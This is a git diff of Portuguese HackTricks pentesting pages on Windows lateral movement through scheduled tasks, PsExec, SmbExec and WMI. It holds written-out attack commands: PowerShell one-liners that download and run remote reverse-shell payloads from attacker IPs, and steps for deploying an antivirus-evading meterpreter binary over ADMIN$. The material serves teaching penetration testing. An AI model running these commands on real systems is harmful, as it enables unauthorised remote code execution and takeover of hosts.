* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Como Funciona
|
||||
|
||||
At permite agendar tarefas em hosts onde você conhece o nome de usuário/(senha/Hash). Assim, você pode usá-lo para executar comandos em outros hosts e obter o resultado.
|
||||
```
|
||||
At \\victim 11:00:00PM shutdown -r
|
||||
```
|
||||
Usando o schtasks, você precisa primeiro criar a tarefa e depois chamá-la:
|
||||
```
|
||||
Usando schtasks, você precisa primeiro criar a tarefa e depois chamá-la:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
schtasks /create /n <TASK_NAME> /tr C:\path\executable.exe /sc once /st 00:00 /S <VICTIM> /RU System
|
||||
schtasks /run /tn <TASK_NAME> /S <VICTIM>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
schtasks /create /S dcorp-dc.domain.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "MyNewtask" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.X/InvokePowerShellTcp.ps1''')'"
|
||||
schtasks /run /tn "MyNewtask" /S dcorp-dc.domain.local
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Você também pode usar [SharpLateral](https://github.com/mertdas/SharpLateral):
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
SharpLateral schedule HOSTNAME C:\Users\Administrator\Desktop\malware.exe TaskName
|
||||
```
|
||||
```markdown
|
||||
{% endcode %}
|
||||
|
||||
Mais informações sobre o [**uso de schtasks com silver tickets aqui**](../active-directory-methodology/silver-ticket.md#host).
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* Adquira o [**material oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
```
|
||||
|
|
|
@ -4,65 +4,67 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) **grupo do Discord** ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Trabalha numa **empresa de cibersegurança**? Quer ver a sua **empresa anunciada no HackTricks**? ou quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Como eles funcionam
|
||||
## Como funcionam
|
||||
|
||||
1. Copie um binário de serviço para o compartilhamento ADMIN$ via SMB
|
||||
2. Crie um serviço na máquina remota apontando para o binário
|
||||
3. Inicie o serviço remotamente
|
||||
4. Quando sair, pare o serviço e exclua o binário
|
||||
1. Copiar um binário de serviço para o compartilhamento ADMIN$ via SMB
|
||||
2. Criar um serviço na máquina remota apontando para o binário
|
||||
3. Iniciar o serviço remotamente
|
||||
4. Quando sair, parar o serviço e deletar o binário
|
||||
|
||||
## **Executando manualmente o PsExec**
|
||||
## **Manualmente PsExec'ing**
|
||||
|
||||
Primeiro, vamos supor que temos um executável de payload que geramos com o msfvenom e obfuscamos com o Veil (para que o AV não o sinalize). Neste caso, criei um payload meterpreter reverse\_http e o chamei de 'met8888.exe'
|
||||
Primeiro, vamos assumir que temos um executável de payload que geramos com msfvenom e ofuscamos com Veil (para que o AV não o identifique). Neste caso, criei um payload meterpreter reverse_http e o chamei de 'met8888.exe'
|
||||
|
||||
**Copie o binário**. A partir do nosso prompt de comando "jarrieta", basta copiar o binário para o ADMIN$. Na verdade, ele poderia ser copiado e ocultado em qualquer lugar no sistema de arquivos.
|
||||
**Copiar o binário**. Do nosso prompt de comando "jarrieta", simplesmente copie o binário para o ADMIN$. Na verdade, ele poderia ser copiado e escondido em qualquer lugar no sistema de arquivos.
|
||||
|
||||
![](../../.gitbook/assets/copy\_binary\_admin.png)
|
||||
|
||||
**Crie um serviço**. O comando `sc` do Windows é usado para consultar, criar, excluir, etc. serviços do Windows e pode ser usado remotamente. Leia mais sobre isso [aqui](https://technet.microsoft.com/en-us/library/bb490995.aspx). A partir do nosso prompt de comando, criaremos remotamente um serviço chamado "meterpreter" que aponta para nosso binário carregado:
|
||||
**Criar um serviço**. O comando `sc` do Windows é usado para consultar, criar, deletar, etc serviços do Windows e pode ser usado remotamente. Leia mais sobre isso [aqui](https://technet.microsoft.com/en-us/library/bb490995.aspx). Do nosso prompt de comando, vamos criar remotamente um serviço chamado "meterpreter" que aponta para o nosso binário carregado:
|
||||
|
||||
![](../../.gitbook/assets/sc\_create.png)
|
||||
|
||||
**Inicie o serviço**. O último passo é iniciar o serviço e executar o binário. _Nota:_ quando o serviço é iniciado, ele "expira" e gera um erro. Isso ocorre porque nosso binário meterpreter não é um binário de serviço real e não retornará o código de resposta esperado. Isso é bom porque só precisamos que ele execute uma vez para disparar:
|
||||
**Iniciar o serviço**. O último passo é iniciar o serviço e executar o binário. _Nota:_ quando o serviço iniciar, ele vai "expirar" e gerar um erro. Isso acontece porque o nosso binário meterpreter não é um binário de serviço real e não retornará o código de resposta esperado. Isso é bom porque só precisamos que ele execute uma vez para disparar:
|
||||
|
||||
![](../../.gitbook/assets/sc\_start\_error.png)
|
||||
|
||||
Se olharmos para nosso ouvinte Metasploit, veremos que a sessão foi aberta.
|
||||
Se olharmos para o nosso ouvinte do Metasploit, veremos que a sessão foi aberta.
|
||||
|
||||
**Limpe o serviço.**
|
||||
**Limpar o serviço.**
|
||||
|
||||
![](../../.gitbook/assets/sc\_delete.png)
|
||||
|
||||
Extraído daqui: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
|
||||
|
||||
**Você também pode usar o binário do Windows Sysinternals PsExec.exe:**
|
||||
**Você também poderia usar o binário PsExec.exe do Windows Sysinternals:**
|
||||
|
||||
![](<../../.gitbook/assets/image (165).png>)
|
||||
|
||||
Você também poderia usar [**SharpLateral**](https://github.com/mertdas/SharpLateral):
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```
|
||||
SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe.exe malware.exe ServiceName
|
||||
```
|
||||
```markdown
|
||||
{% endcode %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) **grupo do Discord** ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* Adquira o [**material oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
```
|
||||
|
|
|
@ -4,52 +4,60 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Trabalha numa **empresa de cibersegurança**? Quer ver a sua **empresa anunciada no HackTricks**? ou quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Como funciona
|
||||
|
||||
**Smbexec funciona como o Psexec.** Neste exemplo, **em vez** de apontar o "_binpath_" para um executável malicioso dentro da vítima, vamos **apontá-lo** para **cmd.exe ou powershell.exe** e um deles irá baixar e executar o backdoor.
|
||||
**Smbexec funciona como Psexec.** Neste exemplo, **em vez** de apontar o "_binpath_" para um executável malicioso dentro da vítima, vamos **direcioná-lo** para **cmd.exe ou powershell.exe** e um deles irá baixar e executar o backdoor.
|
||||
|
||||
## **SMBExec**
|
||||
|
||||
Vamos ver o que acontece quando o smbexec é executado, olhando para ele do lado do atacante e do alvo:
|
||||
Vamos ver o que acontece quando o smbexec é executado, observando do lado do atacante e do alvo:
|
||||
|
||||
![](../../.gitbook/assets/smbexec\_prompt.png)
|
||||
|
||||
Então, sabemos que ele cria um serviço "BTOBTO". Mas esse serviço não está presente na máquina de destino quando fazemos uma `sc query`. Os logs do sistema revelam uma pista do que aconteceu:
|
||||
Então sabemos que ele cria um serviço "BTOBTO". Mas esse serviço não está presente na máquina alvo quando fazemos um `sc query`. Os logs do sistema revelam uma pista do que aconteceu:
|
||||
|
||||
![](../../.gitbook/assets/smbexec\_service.png)
|
||||
|
||||
O nome do arquivo de serviço contém uma string de comando para executar (%COMSPEC% aponta para o caminho absoluto do cmd.exe). Ele ecoa o comando a ser executado para um arquivo bat, redireciona o stdout e stderr para um arquivo Temp, em seguida, executa o arquivo bat e o exclui. De volta ao Kali, o script Python então puxa o arquivo de saída via SMB e exibe o conteúdo em nosso "pseudo-shell". Para cada comando que digitamos em nosso "shell", um novo serviço é criado e o processo é repetido. É por isso que ele não precisa soltar um binário, ele apenas executa cada comando desejado como um novo serviço. Definitivamente mais furtivo, mas como vimos, um log de eventos é criado para cada comando executado. Ainda é uma maneira muito inteligente de obter um "shell" não interativo!
|
||||
O Nome do Arquivo de Serviço contém uma string de comando para executar (%COMSPEC% aponta para o caminho absoluto do cmd.exe). Ele ecoa o comando a ser executado para um arquivo bat, redireciona o stdout e stderr para um arquivo Temp, executa o arquivo bat e o deleta. De volta ao Kali, o script Python então puxa o arquivo de saída via SMB e exibe o conteúdo em nosso "pseudo-shell". Para cada comando que digitamos em nosso "shell", um novo serviço é criado e o processo é repetido. É por isso que não é necessário soltar um binário, ele apenas executa cada comando desejado como um novo serviço. Definitivamente mais furtivo, mas como vimos, um log de eventos é criado para cada comando executado. Ainda assim, uma maneira muito inteligente de obter um "shell" não interativo!
|
||||
|
||||
## SMBExec manual
|
||||
## SMBExec Manual
|
||||
|
||||
**Ou executando comandos via serviços**
|
||||
|
||||
Como smbexec demonstrou, é possível executar comandos diretamente a partir de binPaths de serviço em vez de precisar de um binário. Este pode ser um truque útil para manter em seu bolso se você precisar apenas executar um comando arbitrário em uma máquina Windows de destino. Como um exemplo rápido, vamos obter um shell Meterpreter usando um serviço remoto _sem_ um binário.
|
||||
Como o smbexec demonstrou, é possível executar comandos diretamente de binPaths de serviços em vez de precisar de um binário. Isso pode ser um truque útil para ter na manga se você precisar executar apenas um comando arbitrário em uma máquina Windows alvo. Como um exemplo rápido, vamos obter um shell Meterpreter usando um serviço remoto _sem_ um binário.
|
||||
|
||||
Vamos usar o módulo `web_delivery` do Metasploit e escolher um alvo PowerShell com uma carga útil reversa do Meterpreter. O ouvinte é configurado e ele nos diz o comando a ser executado na máquina de destino:
|
||||
Usaremos o módulo `web_delivery` do Metasploit e escolheremos um alvo PowerShell com um payload Meterpreter reverso. O listener é configurado e ele nos diz o comando a executar na máquina alvo:
|
||||
```
|
||||
powershell.exe -nop -w hidden -c $k=new-object net.webclient;$k.proxy=[Net.WebRequest]::GetSystemWebProxy();$k.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $k.downloadstring('http://10.9.122.8:8080/AZPLhG9txdFhS9n');
|
||||
powershell.exe -nop -w hidden -c $k=new-object net.webclient;$k.proxy=[Net.WebRequest]::GetSystemWebProxy();$k.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $k.downloadstring('http://10.9.122.8:8080/AZPLhG9txdFhS9n');
|
||||
```
|
||||
A partir do nosso computador de ataque Windows, criamos um serviço remoto ("metpsh") e definimos o binPath para executar cmd.exe com nossa carga útil:
|
||||
Do nosso ataque Windows, criamos um serviço remoto ("metpsh") e definimos o binPath para executar cmd.exe com nosso payload:
|
||||
|
||||
![](../../.gitbook/assets/sc_psh_create.png)
|
||||
![](../../.gitbook/assets/sc\_psh\_create.png)
|
||||
|
||||
E então iniciamos:
|
||||
E então o iniciamos:
|
||||
|
||||
![](../../.gitbook/assets/sc_psh_start.png)
|
||||
![](../../.gitbook/assets/sc\_psh\_start.png)
|
||||
|
||||
Ele apresenta erro porque nosso serviço não responde, mas se olharmos para nosso ouvinte Metasploit, veremos que a chamada foi feita e a carga útil executada.
|
||||
Ele apresenta erro porque nosso serviço não responde, mas se olharmos para o nosso ouvinte do Metasploit, vemos que o callback foi feito e o payload executado.
|
||||
|
||||
Todas as informações foram extraídas daqui: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* Adquira o [**material oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,32 +1,28 @@
|
|||
## WmicExec
|
||||
# WmicExec
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Trabalha numa **empresa de cibersegurança**? Quer ver a sua **empresa anunciada no HackTricks**? ou quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Como funciona
|
||||
## Como Funciona
|
||||
|
||||
O Wmi permite abrir processos em hosts onde você conhece o nome de usuário/(senha/Hash). Em seguida, o Wmiexec usa o Wmi para executar cada comando que é solicitado para executar (é por isso que o Wmicexec fornece um shell semi-interativo).
|
||||
Wmi permite abrir processos em hosts onde você conhece o nome de usuário/(senha/Hash). Então, Wmiexec usa wmi para executar cada comando que é solicitado a executar (é por isso que Wmicexec oferece um shell semi-interativo).
|
||||
|
||||
**dcomexec.py:** Este script fornece um shell semi-interativo semelhante ao wmiexec.py, mas usando diferentes pontos de extremidade DCOM (objeto DCOM ShellBrowserWindow). Atualmente, ele suporta aplicativos MMC20, janelas de shell e objetos de janela do navegador de shell. (de [aqui](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/))
|
||||
**dcomexec.py:** Este script oferece um shell semi-interativo semelhante ao wmiexec.py, mas usando diferentes pontos finais DCOM (objeto DCOM ShellBrowserWindow). Atualmente, ele suporta objetos MMC20. Application, Shell Windows e Shell Browser Window. (de [aqui](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/))
|
||||
|
||||
## Conceitos básicos do WMI
|
||||
## Fundamentos do WMI
|
||||
|
||||
### Namespace
|
||||
|
||||
O WMI é dividido em uma hierarquia de estilo de diretório, o contêiner \root, com outros diretórios sob \root. Esses "caminhos de diretório" são chamados de namespaces.\
|
||||
WMI é dividido em uma hierarquia estilo diretório, o contêiner \root, com outros diretórios sob \root. Esses "caminhos de diretório" são chamados de namespaces.\
|
||||
Listar namespaces:
|
||||
```bash
|
||||
#Get Root namespaces
|
||||
|
@ -38,20 +34,20 @@ Get-WmiObject -Class "__Namespace" -Namespace "Root" -List -Recurse 2> $null | s
|
|||
#List namespaces inside "root\cimv2"
|
||||
Get-WmiObject -Class "__Namespace" -Namespace "root\cimv2" -List -Recurse 2> $null | select __Namespace | sort __Namespace
|
||||
```
|
||||
Liste as classes de um namespace com:
|
||||
Listar classes de um namespace com:
|
||||
```bash
|
||||
gwmwi -List -Recurse #If no namespace is specified, by default is used: "root\cimv2"
|
||||
gwmi -Namespace "root/microsoft" -List -Recurse
|
||||
```
|
||||
### **Classes**
|
||||
|
||||
O nome da classe WMI, por exemplo, win32\_process, é um ponto de partida para qualquer ação WMI. Sempre precisamos saber o nome da classe e o Namespace onde ela está localizada.\
|
||||
Liste as classes que começam com `win32`:
|
||||
O nome da classe WMI, por exemplo: win32\_process, é um ponto de partida para qualquer ação WMI. Precisamos sempre saber o Nome da Classe e o Namespace onde ela está localizada.\
|
||||
Listar classes começando com `win32`:
|
||||
```bash
|
||||
